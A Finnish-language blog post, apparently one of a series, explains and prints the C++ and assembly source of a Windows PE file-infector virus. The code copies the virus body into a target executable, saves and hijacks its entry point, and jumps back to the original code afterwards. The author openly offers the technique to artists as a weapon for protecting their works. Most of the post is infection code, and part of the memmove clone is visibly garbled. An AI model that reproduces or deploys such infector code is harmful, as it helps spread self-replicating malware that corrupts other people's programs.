Jäi nyt vähän myöhäiselle tälle viikolle, mutta parempi myöhään kuin ei milloinkaan.
Tälläkertaa esittelyssä on toinen saastuttajafunktioista. Aiemminhan tuli nähtyä funktio joka allokoi uuden sectionin (ja joka muuten sisältää kriittisen heikkouden ettei sitä voi käyttää oikeassa viruksessa, parempi etten korjaa). Tälläkertaa näytän funktion joka kopioi itse viruksen kohteeseen, eli tekee itse saastutus-osuuden:
#define ENTRYWRITE_MAGIC 0x434
#define VIRUSENTRY_MAGIC 0x2C0
inline void bar(char *base, unsigned int fsize)
{
unsigned int attacksize = 0x1000;
unsigned int virus;
__asm {
call blehbleh
blehbleh:
pop eax
mov virus, eax
}
virus = (virus/0x1000)*0x1000;
mmove(base+fsize, (char*)virus, attacksize);
pe::dos_header *dosh = reinterpret_cast<pe::dos_header*>(base);
pe::nt_header32 *peh = reinterpret_cast<pe::nt_header32*>(base+dosh->e_lfanew);
*(unsigned int*)(base+fsize+ENTRYWRITE_MAGIC) = peh->optional_header.image_base + peh->optional_header.address_of_entrypoint;
pe::section_header* sections = reinterpret_cast<pe::section_header*>
(base+dosh->e_lfanew+peh->file_header.size_of_optional_header + 20+4); // fileheader+signature = 20+4
pe::section_header *v = sections + peh->file_header.number_of_sections-1;
peh->optional_header.address_of_entrypoint = v->virtual_address+VIRUSENTRY_MAGIC;
}
Alussa oleva pätkä assembleria siis käyttää call/pop menetelmää EIP-rekisterin lukemiseksi, tämän jälkeen otetaan 0x1000:lla jaollinen osuus eli sama granulariteetti kuin aiemmassa section-allokaattorissa. Tällä pitäisi löytyä pohjaosoite virukseen, koska EIP osoittaa aina jonnekin tämän blokin sisälle. mmove() on simppeli memmove-klooni. Piti toteuttaa itse, kun memmove olisi generoinut MoveMemory apikutsun, ja oikeita funktiokutsuja ei tässä viruksessa voinut käyttää... Tässä nyt täydellisyyden vuoksi vielä se mmovekin:
inline void mmove(char*dest, char*src, unsigned int size)
{
if (dest>src)
for(;size;--size)
dest[size-1] = src[size-1];
else
for(unsigned int i=0;i<size;++i)
dest
= src;
}
Ylemmässä bar()-funktiossa ei ole juurikaan sen erikoisempaa, definatut magic-arvot määrittävät missä kohtaa virusta on oikea entrypointti ja missä kohtaa on viruksen pääfunktion loppu, josta löytyy assypätkä:
__asm {
push 0x12345678
ret
}
Tätä käytetään alkuperäiseen entrypointtiin hyppäämiseen, jotta saastunut ohjelma saa ajovuon haltuunsa kun virus on tehnyt oman työnsä. Ensikerralla sitten ehkä saastuttajamekanismin pääfunktio.
Ja mainittakoon vielä että tätä tietotaitoa levitän, koska tekijänoikeus on antamassa kaikille taiteilijoille oikeuden suojata tekeleitään keinoja kaitamatta. Tarkoitus hyvittää keinot, joten olisi epäreilua jos pienet artistit eivät osaisi tehokkaita haittatekniikoita.